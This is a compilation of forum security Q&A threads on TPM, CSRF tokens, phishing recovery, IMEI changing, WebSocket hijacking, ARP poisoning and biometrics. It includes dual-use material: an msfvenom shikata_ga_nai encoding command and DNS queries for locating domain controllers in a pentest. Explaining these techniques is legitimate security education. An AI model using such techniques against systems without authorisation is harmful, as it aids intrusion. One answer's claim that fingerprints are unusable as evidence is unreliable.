Using the same certificate for server and client authentication is useful in cases where a system/application can take both client and server roles. This is for example the case when transferring a mail between two mail servers or when SIP (VoIP) devices communicate with each other (a call might be created by both).


Do a TPM's benefits outweigh the risks? Is TPM really worth it?

According to Wikipedia it:

Provides a generator of random numbers (that's okay)
Facilities for the secure generation of cryptographic keys for limited uses (that's okay too I guess)
Remote attestation (doesn't sound safe)

In the section on the bottom, it mentions some criticisms of TPM such as remote validation of software - manufacturer, not the user decides what can be run on the computer. This sounds scary.

Also, VeraCrypt doesn't support TPM which raises some concerns. If they don't trust it, why should I?

So is TPM worth it or is it just an unnecessary potential point of failure? Would my security and privacy be safer if I didn't use a computer with TPM at all? Full disk encryption with VeraCrypt sounds safe enough even for the most illegal use cases (NSA-proofed).

And then, would it be possible to remove the TPM module from a motherboard safely?

It depends on your threat model. A TPM has multiple purposes, but the most common purpose is measured boot. That is, a TPM will verify the integrity of the BIOS, option ROMs, bootloader, and other sensitive boot components so that it is able to detect an evil maid attack or modified firmware. If your threat model includes an adversary which is able to modify firmware or software on your computer, a TPM can provide tamper-evidence to ensure that it will not go undetected.
So how does a TPM work? It's actually pretty simple when you get down to it. The TPM measures the hashes of various firmware components* and stores the hashes in registers called PCRs. If the hashes all match a known value, the TPM will unseal, allowing itself to be used to decrypt arbitrary data. What data it decrypts is up to you. Most commonly, it is part of the disk encryption key. Unless every piece of firmware and boot software has the correct hash, the TPM will not unseal and the encryption key will not be revealed. TPMs can be used for a lot more, but the idea is the same.
* Technically, the TPM is passive and cannot actively read firmware, bootloaders, or other data. Instead, a read-only component of the BIOS called the CRTM sends a hash of the BIOS to the TPM, starting the chain of trust. This component is read-only to ensure that a modified BIOS cannot lie to the TPM about its hash.

So is TPM worth it or is it just an unnecessary potential point of failure? Would my security and privacy be safer if I didn't use a computer with TPM at all? Full disk encryption with VeraCrypt sounds safe enough even for the most illegal use cases (NSA-proofed).

Remote attestation is not something you will likely need to use. It is however not at all unsafe. All it does is allow a remote device to prove to the appraiser that the firmware and software it is running matches a known-good hash. It does not allow remotely controlling the machine. It is up to the OS to do the remote connections and send the data to the TPM. The TPM itself isn't even aware that it is being used for remote attestation. In fact, remote doesn't even have to mean over a network. There are very clever implementations that use a TPM to remotely attest the computer's state to a secure USB device! There are no privacy issues with a TPM's unique private key either due to a TPM's ability to sign things anonymously using DAA, or Direct Anonymous Attestation.
Let's go even further and assume the TPM is not only useless, but downright malicious. What could it do then? Well, nothing really. It lacks the ability to send the so-called LDRQ# signal over the LPC bus which is necessary to perform a DMA attack. The only thing it could do is say "everything is OK" when in reality the firmware has been tampered with. In other words, the worst a malicious TPM could do is pretend it doesn't exist, making a malicious TPM no worse than no TPM.
It is completely possible to safely remove the TPM from the motherboard. There is nothing that requires it be there. If it is not present, you will simply not be able to verify a chain of trust to be sure that firmware has not been tampered with. Note however that many modern CPUs have an integrated TPM, but it can be easily disabled, with the same results as removing the physical one. Note that some newer versions of Windows do require a TPM's presence in order to secure the boot process. If the TPM is removed, you may need to modify the OS and UEFI settings so it no longer requires it.

In the section on the bottom, it mentions some criticisms of TPM such as remote validation of software - manufacturer, not the user decides what can be run on the computer. This sounds scary.

The worry is that, in the future, manufacturers might use the TPM to prevent you from making sensitive modifications to your system. By default, TPMs will obey only its owner. If you tell a TPM that the current state of the system is known-good, it will always check to make sure the system is in that state. If an evil manufacturer sets the TPM to believe that a known-good state is one where malicious DRM and other rights-restricting software is enabled, then we have a problem. For current TPMs, it's entirely up to you to decide what software you want to run! They don't restrict your rights.
Another criticism is that it may be used to prove to remote websites that you are running the software they want you to run, or that you are using a device which is not fully under your control. The TPM can prove to the remote server that your system's firmware has not been tampered with, and if your system's firmware is designed to restrict your rights, then the TPM is proving that your rights are sufficiently curtailed and that you are allowed to watch that latest DRM-ridden video you wanted to see. Thankfully, TPMs are not currently being used to do this, but the technology is there.
The overreaching issue is that a TPM can prove both to you locally, and to a remote server (with the OS handling the networking, of course) that your computer is in the correct state. What counts as "correct" hinges on whoever owns the TPM. If you own the TPM, then "correct" means without bootkits or other tampering. If some company owns the TPM, it means that the system's anti-piracy and DRM features are fully functional. For the TPMs in PCs you can buy today, you are the owner.

Also, VeraCrypt doesn't support TPM which raises some concerns. If they don't trust it, why should I?

VeraCrypt actually has added support for TPM version 1.2 and experimental support for TPM version 2.0 in VeraCrypt release 1.20, although they have not yet edited their documentation to reflect this. They originally were resistant because the original TrueCrypt authors did not understand the TPM. Its purpose is not to assist with disk encryption, but to verify that the firmware and important boot software (including the VeraCrypt bootloader!) have not been tampered with.


Use HTTP POST for Google Search queries When searching on Google from a browser, the actual search query is visible in the address bar of the browser, even when using Google's secure search (https). Is there a way to submit the search query via POST instead of GET, so the query terms aren't visible in plain sight in the URL?
This is to prevent snooping by network administrators.

There is no use to this. As you know, HTTPS prevents your network administrators (or anyone else in between you and Google's servers for that matter) to see the request (so the URL but also the POST data), unless the admins have monitoring software on your computer or make you use a proxy. If they do, they can also see what you are sending via POST. So I don't see a scenario where POST requests might be useful if you use HTTPS and simply delete your browsing history (you can set the browser to do that automatically when you close it).

It might be a little less obvious in logs or tools when you use POST requests, software might be meant for displaying URLs, but technically there is no difference. If you still want to use POST for some reason, I think you're going to have to use a proxy service for Google.

DuckDuckGo, a search engine focused on providing more privacy than Google, has the option to use POST requests instead. On duckduckgo.com/settings, go to the privacy tab, and there you can set whether the address bar shows your query. DDG has more advantages though, you should give them a try if you are concerned with privacy. There are also some tools for developers, like automatically searching popular programming language's documentation (e.g. /?q=strpos).

But then again, if your pc is bugged, they can see POST requests if they want to. If it's not, then HTTPS suffices.
And I also wouldn't recommend doing things you shouldn't do on other people's network. Sooner or later it'll be found out, and might get you in trouble.


How do password suites store and encrypt their metadata and prevent attacks based on that knowledge? If someone uses a password manager and tries to organize the credentials well, doesn't that make attacks easier?

Let's assume an attacker has the encrypted credentials available for offline attacks,
and the attacker knows which software was used to save the data, and that he also knows what the credentials are used for (websites like Google, Facebook, Amazon, et. al.).

Does this knowledge make the attack easier? Can it be prevented, or at least made significantly harder? If so, how do password suites try to prevent this?

A simplified example: I have an Amazon account, and I store my credentials in a password manager. They are well organized and named, i.e. "Amazon", which is on the top of the list because it's sorted alphabetically. An attacker now steals my encrypted credential store, and begins a brute-force attack.

If the first few bytes (e.g. header + 30) don't turn out to include the string "Amazon" appended with whatever the password suite uses as a delimiter, the attacker could stop trying to decrypt my password with his current guess. This potentially reduces the time needed to crack the password, if only linearly.

I don't know much about encryption. Any advise regarding my choice of words is appreciated. Even spelling and grammar.

I use KeePass Password Safe. This password manager stores all passwords (and related metadata) in a AES-256 encrypted database. When the correct key(s) is (are) provided, the entire database is decrypted and ready for use.

So besides a quality cipher, it's crucial that sufficiently strong keys are used. Provided that's the case, the time needed to perform a brute force or dictionary attack rises exponentially with the length of the key(s).

KeePass makes brute-forcing the password database harder (take more time) by encrypting the key N rounds. The recommendation is to choose the value N so that decrypting takes around 1 second on typically used hardware, which makes brute-force and dictionary attacks take N times longer to complete. On recent hardware, N is usually larger than 10 million.

See KeePass Security for additional information.


Hijacking Websocket - it is possible to change the server response? i read every available hijacking websocket guide/explanation there is in the wild but i still don't understand one thing.

In a CSWSH it is possible to custom requests to the server and retrieve sensitive information that an attacker can steal, also perform sensitive state-changing actions like a normal CSRF.

But, is it possible to send the normal/default request to the server and change the server's response?

Lets say a website that uses websockets to receive prices of items,

a sample request would be:

{Price: apple}

A simple response would be

Price apple: 100

i want to know if it would be possible just to change the response from the server and say that apple is worth 5 or 500 instead of 100, without changing the request to the server... just the response

No, it's not possible to change the servers WS channel response (if you use WSS).

WSS is websocket with TLS security, its a thing. As with all things transport security related, the answer is TLS.

It's not possible to change the response when you use WSS.

If you design your system to use plain old WS, you must expect that it is possible.

Being TCP based, injection into a TCP stream has the same challenges all TCP connections have (which is hard to find, maybe a separate question?). It's much simpler with a machine in the middle attack.

The regular WS protocol wasn't designed to be secure. That's probably because they knew people would use TLS if they wanted security.

In the RFC, there is a description of an obscure kind of attack, that a proxy unaware of WS might fall for - see https://tools.ietf.org/html/rfc6455#section-10.3.


Tracing an IP from a mobile broadband ISP My honeypot caught a hack attempt from an IP that was issued by Three Mobile Broadband (UK).

My immediate thought was that most probable explanation was that the user was in the UK and had his laptop hooked up to a cell data stick. But it got me thinking:

Would it be possible for the user to be in Romania, use a cellular phone or data stick from a UK provider, and get an IP from the UK? Or, would the user have to be in the UK to get an IP from the UK provider?

I do not know things like:

when does an IP address get assigned to a cellular Internet connection? As soon as it hits the local data network, or does it complete a cellular data network routing before it hits Internet?
are cell-to-cell connections possible on data networks? Like a VPN, but over GSM.
what options are there for a hacker to use cellular data networks to anonymize his traffic?

After reading a study about this (Geolocating IP Addresses in Cellular Data Networks), it looks like most of the cellular companies will assign a private IP address to your device, even though there are some which assign public IP addresses. Having a private IP address, means that you are behind a NAT owned by the provider, which is actually your gateway to the Internet. This gateway, not only that it can be (physically) in another country or even continent, but also sometimes the geolocalization will point it differently compared to its current location, due to administrative reasons.

For the anonymization of the data network, most probably using a VPN (most smartphones have this feature) is the way to go... as long as your VPN is anonymous (depending on your provider - no logs kept, etc).


I fell for a phishing attack. What should I do now? Two weeks ago I visited a copy of the official website of www.runescape.com.

They asked me to fill in my account (in-game charc.) information; email (used for in-game name), password and Google authenticator linked to my game account.

Right after I filled all my information in I noticed that they asked something the real websites never would ask. That's when I realised I logged in to a fake version of the website.

I immediately change my email, password and my authenticator.
I didn't get a notification that they tried to steal my account through my email or authenticator.

Now I'm a bit worried that they know my IP address and can follow everything I do and look into my passwords saved on my internet browsers.
And that they can look into all my devices linked with my network.

What do you recommend I should do?

When you already changed the compromised password, then there is nothing left for you to do. Just remember that when you use the same password on a different service (you shouldn't do that; get a password manager) you must change that too.

If you want to be an extra good citizen, you might want to find out which company host the phishing site and report it so they can take it down (operating a phishing scam violates the terms of service of most webhosters). You would usually do that by checking the domain in a whois-database and look for the "technical contact" information.

When it would be about a smaller and less well-known online game, you might also give a tip to the developers and the community so that they are aware of the phishing threat. But we are talking about Runescape here. They are in the online gaming business for longer than anyone else. Phishing should be old news for them.

  Now I'm a bit worried that they know my IP address and can follow everything I do and look into my passwords saved on my internet browsers. And that they can look into all my devices linked with my network.

That worry is very likely unjustified. There is not much you can do by knowing someone's IP address, and any of the other things you mentioned is very improbable unless you downloaded and ran some program from the website.


How do security professionals measure their success? How do security professionals measure their success and how do they communicate this to others in their organizations?

The way I see it, if no security incidents occur then either the security team is doing a good job, there was no threat to begin with, or it's only a matter of time before an incident does occur. If a security incident occurs, then clearly the security team has failed.

It seems like workers in security are in a lose-lose situation: having to justify their existence when times are good or explaining why they performed their jobs to a reasonable standard when things go wrong. Is this really how it is?

Many people, including many security professionals, see security in binary terms: we are either secure or we are not. This is a ludicrous perspective from all sides.

Security is about understanding, measuring, and managing risk.

To put this in terms of your proposed lens of 'success':

Have we been unsurprised by a threat and the impact that materialised?
Have we been monitoring and calculating the impact of the threats we do know about and the effectiveness of our mitigations compared to the threats and impacts that materialised?
Have we been adjusting our mitigations in response to evolving threats so that when they materialise, the impact is tolerable?

If we can say "yes" to those, then we have been successful.

That's how you measure the success of a security program of an organisation, and that's how you measure your personal success as a security professional.

Chasing the state of "secure" is a silly task, especially considering the reality of 0-days and the fact that the secure operation of an organisation is entirely up to non-security people (and even security people get it wrong sometimes).

The path to success is about risk and resiliency.


How dangerous javascripts really are? I've watched this video, and what this guy says is that
with javascript its easy to create a worm that steals your information
also that javascript will continue to execute even tho you closed the tab
of the infected site , on the other tabs. Even after closing the browser
it will save itself in cache only to load itself next time you open the browser.
Are javascripts really that dangerous? Is it worth using NoScript?

http://www.youtube.com/watch?v=0QT4YJn7oVI

You slightly missed the point of the video. Its main message is not "Javascript is dangerous" it is "Anonymous proxy servers are dangerous!"

The attack in the video you posted is mostly based on getting the target to use a malicious proxy server. Using a proxy server is a conscious choice the user makes, and using a proxy which is not trustworthy is a very bad idea. A proxy server is able to eavesdrop and manipulate anything you read (or post) on the web. That also gives them the ability to inject Javascript code into websites and monitor your activity on them.

When you want to be safe from the attack presented in that video, don't use any proxy servers not operated by someon you trust, that simple.

But let's get on your actual question: "Is Javascript dangerous per-se?"

When the browsers javascript engine works as designed, then Javascript is pretty safe. Conceptually, Javascript is not able to access any other tabs except the one it is embedded in. Persistent javascript which runs after the tab is closed is also impossible.

However, all browsers had bugs in the past which could be exploited to override some of these restrictions under some circumstances.

Regarding whether or not using NoScript is an option: NoScript can protect you from some browser-based exploits, but not all. There are a lot of other exploits which target other sub-systems of the browser. The main motivation to use NoScript is to protect your sanity from websites which abuse Javascript for inversive advertising or other annoyances.


Cookie vs HTML5 localStorage On HTML5, we can use localStorage to keep data persistently on client side. It seems better from a non-security point of view (easy to access, not 5mb limit like cookies, etc).

https://www.w3schools.com/html/html5_webstorage.asp

From a security point of view, Which method is more secure against a XSS attack? localStorage or cookies?

Both cookies and localstorage are accessed via JavaScript APIs. When the attacker can inject JavaScript into the target's html document, they can read and write them equally.

A comment mentions http-only cookies. But those can not be accessed by client-sided JavaScript applications at all, so they are not competing with localstorage in most scenarios.

But one thing you need to keep in mind is that there is no such thing as a javascript-only cookie. When you store confidential information in a cookie, that information will be sent to the server with every request. When you don't use https, then it will be sent unencrypted. This has nothing to do with XSS injections, though.


Direct VPN access to DBs - government guidelines (DBAs at home COVID) We have DBAs who want to access SQL DBs over DirectAccess (DA). The ask is to open port TCP 1530 over DA. At the moment, we have 6,000 people using DA, we can't filter on a specific group of DBAs. Effectively if we open the DA rules to all clients, that's 6000 individuals with access to the DBs (TCP 1530).
What's the best practice approach? Preferentially backed with official vendor/body preferences.

Directly exposing core services' admin ports and access is not best practice. The better approach is to create a "jump box" which is a remotely accessible workstation (often virtual) where your admins log into to perform admin tasks as if they where on your local network.
The jump box can be locked down, monitored, and have additional security.
If you expose admin ports, you are limited in how you can secure that access.


Are Authy's SMS tokens insecure? I've been trying out Authy, a Google Authenticator alternative with an optional feature of being able to back up your tokens. They have two types of tokens: Authy-generated tokens and the regular OTP tokens you added by scanning a QR code (like you would in Google Authenticator).

If I understand correctly, backups of your standard OTP tokens are encrypted with a password before uploading them to Authy. Your backup password isn't sent to their servers, they just store an encrypted blob of data for you. Sounds good so far.

However, when setting up Authy on a new device I noticed that the Authy-generated tokens don't seem to benefit from the same level of security. When you set up Authy on a new computer you can get access to your account through SMS verification (something they've criticized for being insecure). Entering an SMS passcode will log you in and give you immediate access to your Authy-generated tokens (assuming you've enabled multidevice support). The Authenticator tokens are still encrypted at this point, and they can be decrypted if you enter the backup password.

What are the security implications of this? Doesn't the SMS-based login procedure make Authy-generated tokens quite vulnerable to capture?

Let us review the threat:
MiTM - SS7 attack to retrieve the SMS for Authy.
If that scenario happens, the attacker will have a grasp over your encrypted tokens meaning that the attacker needs the password (or a flaw in the encryption algorithm, which is less likely since they use industry-standard algorithms)
in order to decrypt them.

In such a case, the password complexity will determine how long it would take to recover to tokens.
However, I agree that they could have enhanced their authentication mechanism (using an additional user/password, secret of a sort) as in the current method, it is easy to abuse SS7 to get the encrypted tokens and perhaps parallelize the brute-force process.


Same CSRF token for multi-tab browsing I have a little problem regarding to my CSRF token function (it changes the token every request). Here is the scenario of my problem:

When I opened 2 pages (with same CSRF Token), when I open the first page and submit the form there, the second page's form is not working(because the CSRF Token's value is changed). If you view it from the user's experience it will leave a bad taste, so I need to change it.

My question is, how can I make my CSRF Token function, works in multi-tab browsing, while not affecting the security along with better user experience? Because I want them to have a better user experience without affecting the security of their browsing.

Use a single CSRF token per session (rather than per request or per user).  For example, the CSRF token can be the plain text session ID, or an encrypted or securely hashed (e.g. HMAC) version of the session key.  Or you could store the CSRF token as a session variable that is associated with the session key.  These are all common options.

If you're wondering if this makes your site any less secure, read this article for reassurance.

If you happen to be using the ASP.NET framework, the way to do this is simply set the Page.ViewStateUserKey to the session ID.


How do criminals change IMEI numbers I read that mobile network providers can block IMEI numbers from most networks but I also read that criminals can change these IMEI numbers in order to regain access to a network. How is this done and what can I do to protect myself from it?

criminals can change these IMEI numbers in order to regain access to a
  network.

Not only criminals, changing IMEI is easy even without root access, there are plethora of apps that can do just that.

  How is this done and what can I do to protect myself from it?

For most devices, IMEI is stored in EEPROM, simply raising a voltage from normal working one will allow you to change whatever is stored on it.

You mostly can't do anything to protect only IMEI. Hardware limitations. However, you can for example encrypt your phone internal storage, set a startup code, enable device locator and so on. This will make it harder for criminal who stole your device to actually profit from it.

Unfortunately, not all phone models support that (startup encryption)


What security considerations should I keep in mind when setting up home automation using IFTTT? My next personal project is going to be setting up some basic home automation for my parents (not very tech savvy but have a potential to learn). This involves some thermostat, lighting and notification control.
I have been using IFTTT in the past for them and it has worked really well so I am inclined to use it to reduce their learning curve. The recipes will mostly be the ready to use ones on the site or some custom recipes based on time of day and location of my father's phone.
Can the community share some security risks that I should keep in mind?
The only thing that I can think of is that my father's phone being lost or stolen is a big risk.

When using public services like IFTTT you must assume that you will be hacked. And then assess what can happen with all the knowledge a hacker may gain:

switching on a light? Probably not a big deal
fiddling with the thermostat? Except if your parents live in extreme climate conditions, this is not a big deal either
notification? depends on the kind of notification

In general, anything life-threatening (automatic alerts sent to doctors, pill distributors, ...) and potentially dangerous (electronic locks, ...) should not be dependent on a system you do not control, or at least being "generally accepted as safe" (having the green light from your medical institutions for instance).

Another element to consider is how easy it is to go from the identifier of the action to the physical address.


Can a ratter use your webcam undetected? The Black Hat conference (I wasn't there) had a session on "ratters" (RAT for Remote Access Trojan) who take illicit footage of users (usually female) by hijacking their systems.

The question I have is if this happens on a system or web-cam device that has an "in use" LED on it, is it possible for them to do this without turning on that LED?   On my MacBook for example I would definitely notice the LED.  Many USB cameras have the same thing.

Yes, it is possible to deactivate the webcam active light. Here, here, and here all show examples of security researchers doing it.


After encoding process with msfvenom, my tool is not working. Why? I tried to encode my tool, which was developed by me with Ruby, by using msfvenom of Metasploit Framework and I succeed. My source code was encoded completely. But, when I tried to use my encoded tool, I met an error "command not found". What is the problem? As with encoded payloads work, why didn't my encoded tool work? Here are my steps which I follow:

cat Desktop/lugat | msfvenom -p - -a x86 --platform linux -e x86/shikata_ga_nai -f raw > /home/hefese/Desktop/test
./test -h

Output:

./test: line 1: buf: command not found
./test: line 2: \xb8\xad\x4e\x1d\x84\xdb\xc5\xd9\x74\x24\xf4\x5d\x33\xc9: command not found

[...]

./test: line 2961: \xb6\x03: command not found

Could anyone explain my fault?

Thanks in advance.

shikata_ga_nai is for encoding shellcode (aka, instructions to be executed by the processor).  You cannot process/encode arbitrary data (and ruby source is just data) with it.


Can I pre-register an SSL certificate with validity in the near future? Can I register an SSL certificate that will only start to be valid in the near future and not right away?

Ordinarily, the validity of period of the certificate is not determined by the requestor, and is not specified in the CSR.  The validity period is determined by the CA (most CA's offer various durations according to price).  So, you would have to find a CA that has a mechanism in place for what you are trying to do.

See CSR expiry date / validity date for more info.


Invalid OCSP signing certificate in OCSP response I want to open the following page in Firefox, and get an error.

https://www.acm.nl/nl/

Secure Connection Failed

An error occurred during a connection to www.acm.nl.
Invalid OCSP signing certificate in OCSP response.
(Error code: sec_error_ocsp_invalid_signing_cert)

The page you are trying to view cannot be shown because the authenticity
of the received data could not be verified.

When I open this page in Chrome it opens normally. Why does Firefox object?

It seems their OCSP-cert has expired on September 10th.

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 132 (0x84)
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=NL, O=Digidentity B.V., CN=Digidentity Services CA - G2
        Validity
            Not Before: Sep 20 10:40:55 2012 GMT
            Not After : Sep 10 10:40:55 2014 GMT
        Subject: C=NL, O=Digidentity B.V., CN=Digidentity OCSP

Code
I used these three commands:

$ openssl s_client -connect www.acm.nl:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > acm.pem

$ openssl s_client -connect www.acm.nl:443 -showcerts </dev/null 2>/dev/null > chain.pembundle

$ openssl ocsp -issuer chain.pembundle -cert acm.pem -url $(openssl x509 -noout -ocsp_uri -in acm.pem)
Response Verify Failure
2676036:error:27069065:OCSP routines:OCSP_basic_verify:certificate verify error:ocsp_vfy.c:126:Verify error:certificate has expired
acm.pem: ERROR: No Status found.

More Detail
Use this instead of third command for more detail:

$ openssl ocsp -issuer chain.pembundle -cert acm.pem -text -url $(openssl x509 -noout -ocsp_uri -in acm.pem)

Link
I copied the commands from here: https://raymii.org/s/articles/OpenSSL_Manually_Verify_a_certificate_against_an_OCSP.html


What additional difficulties are present in performing ARP poisoning on a secure wireless network (WEP, WPA) vs. an insecure one? I just finished a project in which I coded a man in the middle attack on an unsecure network. I've tried to see how feasible it would be to extend this a secured network. Some internet searching has left me a bit puzzled. I have a few questions:

What exactly do wireless encryptions hide? I assume it is everything after the destination and source MACs. Is this true?

If the password of a network is known, how trivial/difficult is the implementation of an ARP poisoning attack?

If the password of a network is known, how trivial/difficult is it to do anything malicious? It seems like the data would be encrypted using other unknown and constantly changing elements such as initialization vectors. If ARP poisoning is feasible, is there a confidentiality concern?

Thanks ahead of time guys.

WEP provides essentially no security whatsoever; it is at most a speed-bump.  Man-in-the-middle attacks are totally possible.

WPA does not provide security against an authorized user who knows the password.  In that situation, man-in-the-middle attacks are possible.

As far as the constantly changing elements go, it is no harder for an attacker to deal with them than for a legitimate user of the network to deal with them -- which is to say, not very hard at all.  In other words, this is not a barrier to a serious attacker.


How to locate a domain controller on a Windows network when not a member? Is there a way to determine which machine on an active directory network is the domain controller, if on a computer not logged on to the domain? This is for a penetration test, going in blind.

I've tried looking up the domain (which I know the name of) in nslookup, after setting type to all and running _ldap._tcp.dc._msdcs.Active_Directory_domain_name

I also tried dsdomroleinfo and enumdomains with rpcclient on machines that allowed null sessions.

Is there any easy way to look this up without resorting to sniffing?

Try type "any" or "SRV"
Did you query for the "any" DNS resource record (wildcard/pseudo) type? (Otherwise the default is to simple query for A records. And the records in question are in fact SRV RRs.)
(Also: you said you used type "all", I don't know if there is such a thing. What any does is translate to a query for resource record type 0x00FF, decimal 255. I checked with Wireshark. This translation is done by your client. I don't know all clients, but I can tell you that dig does NOT know of "type all" and NOT "type *" either and will give you an error. But dig will work nicely if you say "-t any".)
Using dig (if "example.com" is your Active Directory domain name):
dig _ldap._tcp.dc._msdcs.EXAMPLE.COM -t any
dig _ldap._tcp.dc._msdcs.EXAMPLE.COM -t srv

Using the WINDOWS version of nslookup, the type MUST go as first parameter like so:
nslookup -type=any _ldap._tcp.dc._msdcs.EXAMPLE.COM
nslookup -type=srv _ldap._tcp.dc._msdcs.EXAMPLE.COM

Also try just the regular "A" type
Also you can simply dig/nslookup the Active_Directory_DNS_domain_name and this will give you DC-IPs. (Because there's actually A records at that level.)


How is a biometric authentication system secure? Imagine I have an application which uses a biometric based authentication (such as a fingerprint). It takes its hash and sends it to the server. The server has a copy of the hash and compares the two.

Now I hack the server and steal the hash. Now I can bypass the fingerprint test. Moreover, let's say the hash wasn't that great (or it was and now computers are faster so I can do a brute force attack). Now I know the fingerprint so I can log into any system which requires it.

Had this been a password we would have been advised to change the password; but in this case what's the victim supposed to do as he can't change his finger ?

Your question doesn't actually list the main security problems with biometrics, and the reason that they aren't actually used to secure anything valuable except as an additional mechanism after your normal 2 factors.

1) Biometric signatures are not unique

You can comfortably assume there are many people out there with fingerprints that will match yours to any degree measured by biometric fingerprint systems. This is why police cannot rely on fingerprints as evidence. Same goes for retina scans etc. so all biometric systems are tailored to assume false positives and negatives.

2) You cannot change them easily

Imagine an attacker finds someone with the same fingerprint as you, and you discover this. How do you change your fingerprint so they cannot gain access but you can? Aside from surgery etc. it really is not possible.

3) As John points out in the comment below, biometrics are not secret

So the first line of your question is actually incorrect. Biometric authentication systems are not secure. Instead, when used with a username and password, for example, they can increase the confidence the system has that you are the person you say you are.


Strange apple dns answers Could someone please explain to the results of a reverse DNS lookup I ran? dig -x 17.178.96.59

I was expecting apple.com but it also listed a whole load of PTR's. Many looked like phishing sites like icloudc.om and jtunes.com for instance. All have a very high TTL as well.

This simply means that all these domain names are associated with the IP 17.178.96.59.

Several domain names can be associated with the same IP address. This is common with name-based implementation of Shared web hosting service:

  Name-based

  In name-based virtual hosting, also called shared IP hosting, the
  virtual hosts serve multiple host names on a single machine with a
  single IP address. This is possible because when a web browser
  requests a resource from a web server using HTTP/1.1 it includes the
  requested host name as part of the request. The server uses this
  information to determine which web site to show the user.

  Source: Name-based - Shared web hosting service (Wikipedia)

(Emphasis is mine)

In your particular case, all these domain names seems to belong to Apple; it's not surprising as Apple have to reason to share that single IP with anyone else. As of today, it looks like they all redirect you to the Apple webpage, but they could have done it otherwise. You could have got different website with these domain names, even though they are associated with the same IP.

As schroeder said, one reason to register several domain names that looks similar is to avoid phishing or brand abuse (e.g. typosquatting). I would like to add that another reason can be to correct user mistakes (e.g. https://googl.com/ redirects me to https://google.com/).

Note that my last paragraph doesn't involve that these domain names are associated with the same IP. My example with googl.com and googl.com shows it. But it's possible.

PS: You mention the domain name 12diasdepresentesdeitunes.com.br, I don't get it when I type your command, so I can't comment on that.


Email got hijacked or hacked, where to start? An important email got hacked (I got a notification from my provider that he changed the PW because my email login was used worldwide to send out emails, mostly spam I guess). I assume it was hijacked and not spoofed.

This email is usually used to register web services etc. for example it is used with AWS3, heroku etc. I have no clue how someone got access but now I am here, shit happens.

I need to figure out what happened exactly, but I dont know where to start.

I contacted my provider, so I get detailed numbers on how many emails were sent out and I will also change every password and use simple antivirus, but I am afraid that this is not enough?

I also checked every email which I received in the last weeks, there was nothing suspicious.

EDIT:

Thank you all for the answers, they still help me to be prepared in future.

According to the current situation:

My provider answered very fast and it seems that the issue was caused by me. I use this email to send out news to our users and every week we have more users and obviously more emails. The automatic notification and PW reset was triggered by me sending out those emails. I simply have to adjust security level of this email and thats it.

You already changed your password, so the first thing to do would be to enable Two Factor Authentication if your provider has that service (and if it doesn't, I'd highly suggest changing provider).

Another thing is to make sure you use an exclusive password for that account (ideally, you would have a different password for every account and use a password manager to handle them). Many accounts get hacked because they use the same password on different sites. If one falls, all follow.

The last thing would be to thoroughly check your PC for malware (keyloggers and the like), and to make sure your provider always uses encrypted channels when authenticating you (https requests only). Again, if it doesn't, there is nothing you can do but change provider.

EDIT: Your account may also have been blocked due to an activity that appears irregular but is actually normal, like logging from another country/using an unknown device, or sending emails flagged as suspicious by spam filters. You should check with your provider if this is the case.

Side note: never connect to sensitive accounts while connected to a public hotspot. Connections can be spoofed easily if the attacker is in control of the access point.


Same origin policy pentesting? As we all know that what is the SOP? As its very popular. But my question arises when, pentesting this functionality.

AS SOP provide the website to call the resources only from its domain. Ex. http: //example.com/ have the SOP functionality then Only resources can call from this (example.com) domain.

Now, How the attacker might get damage this? I think its very simple functionality. So i want to know about what vulnerabilities can arise here?.

It might be Out of scope but really i didn't find it on the google.

As we all know that what is the SOP? As its very popular. But my
question arises when, pentesting this functionality.
AS SOP provide the website to call the resources only from its domain.
Ex. http: //example.com/ have the SOP functionality then Only
resources can call from this (example.com) domain.

Before you go ahead and try to pentest, you need a more than vague understanding of how it works. Mozilla's  MDN webdocs provide a very good starting point.

How the attacker might get damage this? I think its very simple
functionality. So i want to know about what vulnerabilities can arise
here?.

The same-origin policy (SOP) is a browser-level security control that dictates how a document or script belonging to one origin can interact with a resource from some other origin. Basically, SOP prevents scripts running under one origin from reading data from another origin. There may be cases where an app needs to allow other origins for resource access. This is achieved by using Cross Origin Resource Sharing. There can be potential security issues due to CORS mis-configurations. There are basically two ways in which CORS allows cross origin communications:

Access Control Headers: For every cross domain request the resource server issues access control headers in response which indicate if the requested access can be provided. TO gain a full understanding of how and when these headers are used and how they are interpreted by the browsers, I point you back to the MDN references.

Recently the guys at PortSwigger came up with a blog post, highlighting vulnerabilities arising due to CORS mis-configurations.

HTML5 postMessage API: The Window.postMessage() method, introduced in HTML5, allows JavaScript code running on different origins to communicate with each other in a bidirectional manner. e.g. This API can be used for communication between an iframe and its parent document.

This blog post highlights potential security issues in postMessage API implementations.
Recommended reads:
Why is the same origin policy so important?
How does CSRF correlate with Same Origin Policy


Can malware come in any format? After reading @Iszi's answer to this question he states

  Viruses attached in e-mails do not only come in .EXE files.  They can be any form of document - PDF, PPT, DOC, XLS, SWF, etc.

Are there any formats that cannot carry malware, for example a text file? Is this a moot point because anyone can rename file extension to .txt?

For every file format, a program meant to process is associated. For example, a PDF can be processed by a program capable of parsing pdf format. While processing each format, certain parsing and processing of data is involved. Malware is crafted to exploit the vulnerabilities of these processing programs. By assigning an extension, the file format is easily identified by the OS and the corresponding program capable of parsing it is fired up. Thus, vulnerabilities in widely used software make the users more vulnerable, like in case of Surtr family of malware exploited the vulnerability in MS Word.
Renaming an extension is a solution only until the corresponding program for which the file is crafted is not launched. For instance, a .pdf malware renamed as .txt is not harmful until the data is processed by a pdf reader (which malware targets).


How to establish a random OTR remote party as a specific individual? In reading Glenn Greenwald's 2014 book No place to hide, one thing stood out to me as a bit odd. Greenwald details how Edward Snowden was insistent that Greenwald install PGP in order to communicate securely, but Snowden then later (before PGP encrypted communications is available) agrees to talk over OTR-encrypted IM on an unspecified IM network. My boldface in the quote below; this is from page 17 in the hardcover edition. Any typos are likely to be my own.

  I was uncertain what he had meant about "declining short-term travel": I had expressed confusion about why he was in Hong Kong but certainly hadn't refused to go. I chalked that up to miscommunication and replied immediately. "I want to do everything possible to be involved in this," I told him, suggesting that we talk right away on OTR. I added his user name to my OTR buddy list and waited.

  Within fifteen minutes, my computer sounded a bell-like chime, signaling that he had signed on. Slightly nervous, I clicked on his name and typed "hello". He answered, and I found myself speaking directly to someone who I assumed had, at that point, revealed a number of secret documents about US surveillance programs and who wanted to reveal more.

